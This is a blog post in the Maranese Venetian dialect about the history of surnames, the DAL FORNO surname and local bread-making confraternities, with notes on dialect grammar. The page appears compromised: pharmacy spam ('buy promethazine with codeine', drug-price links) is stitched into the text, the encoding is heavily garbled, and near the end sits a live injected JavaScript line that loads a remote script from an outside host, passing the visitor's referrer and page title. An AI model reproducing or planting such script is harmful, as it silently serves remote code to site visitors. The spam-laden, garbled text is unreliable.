I COGNOMI IN DIALETTO MARANESE

buy pills Ogni risserca sula storia deAi?? ai???na famejaAi?? la ga de partAi?? del studio del so cognome e dopo veai??i?? analizA? ben i tanti cepi familiari che, come che savemo,Ai?? in timpi diversi i ze stai portai vanti da quel cognome in una formassion antica, qualchi volta anca gambiando.

Una persona, ai timpi dei Romani la podeva gesse conossA?a par quatro nomi diversi, un de quisti gera el cognomen che individuava la fameja, val a dAi?? un cepo tra quii che prima gera la purchase metronidazole or tinidazole Pills gens de origine. FinAi??o lai??i??Impero Romano, coai??i?? ze vignA?o vanti difondendose el Cristianesemo, ogni persona la ze stada ciamada col nome de batesemo. Rivemo al X e XI secolo, quando che ga scumissiA? naltra volta a distinguese tra de lore le persone col stesso nome e gera necessario tuti quii che apartigniva ala stessa stirpe. Ze nato cussAi?? el cognome moderno, che el podeva gesse do dal nome del pare o dela mare, dala nomenansa, da la nassion opur dal liogo de provenienza o anca dal mistier.

http://www.whoma.es/diarex-syrup-price/

Femo un esempio, ciapemo el cognome DAL FORNO, chai??i??el ze un tipico cognome de mestier, chai??i??el deriva da qualchi capostipiteAi?? chai??i??el cusineva el pan. El cognome el gera presente a Maran za in tel XVI secolo, come testimoniansa de ativitAi?? de associassion de le confraternite, in particolar a quela ligada a Santai??i??Antonio che ogni mese la sforneva el pan pai confradei Ai??in tel forno, de proprietAi?? dela ComunitAi??, maAi?? gestAi??o dale confraternite. Quele che le faseva el pan le se ciameva pancogole e le farine le vigniva comprAi??e al Fontego,una istitussion volA?a dal Senato veneto, co geremo soto Venessia. El lavor el vigniva organizA? dal canevaro de la confraternita che la veva sede in un altar dela ciesa de Santai??i??Antonio. Ma se se trateva de comprAi?? una lampada in arzento dorA? a Venessia o de gesse comitente de na pala par lai??i??altar alora el pan nol se faseva piA? par un ano. CussAi?? i pagheva i debiti.

Buy

xeloda cost canada

Cheap

Ai??Marano sotto il governo veneto

Dal 1420 al 1797

ParticolaritAi?? linguistiche del dialetto maranese riscontrate:

  1. La ga de = deve. Eai??i?? la doppia pronominalizzazione.
  2. la preposizione articolata Ai??Ai??-dal – di fatto non esiste e spesso Ai??si traduce con – del-
  3. Purchase

  4. son drio andAi?? = (letter.: stare perai??i??) Eai??i?? una forma di gallicismo ( etre en train deai??i??= stare perai??i??)
  5. i ze stai = sono stati. Anche qui cai??i??A?Ai?? il doppio pronome.
  6. price bactroban cream

  7. Gambiando = la -c- che si sonorizza e diventa -g-
  8. Gesse = essere.
  9. Lore = ai???loroai??i?? al femminile, mentre in italiano non esiste.
  10. Luri = ai???loroai??i?? al maschile con il fenomeno tipico del dialetto (fior al plurale fiuri, piron, piruni).
  11. buy promethazine with codeine

  12. DorA? = dorato. Il participio passato in ai??i??ato si trasforma in ai??i??A?.
  13. http://towerhpc.com/uncategorized/cheap-differin/

document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Lascia una risposta

Powered by WordPress | Designed by: diet | Thanks to lasik, online colleges and seo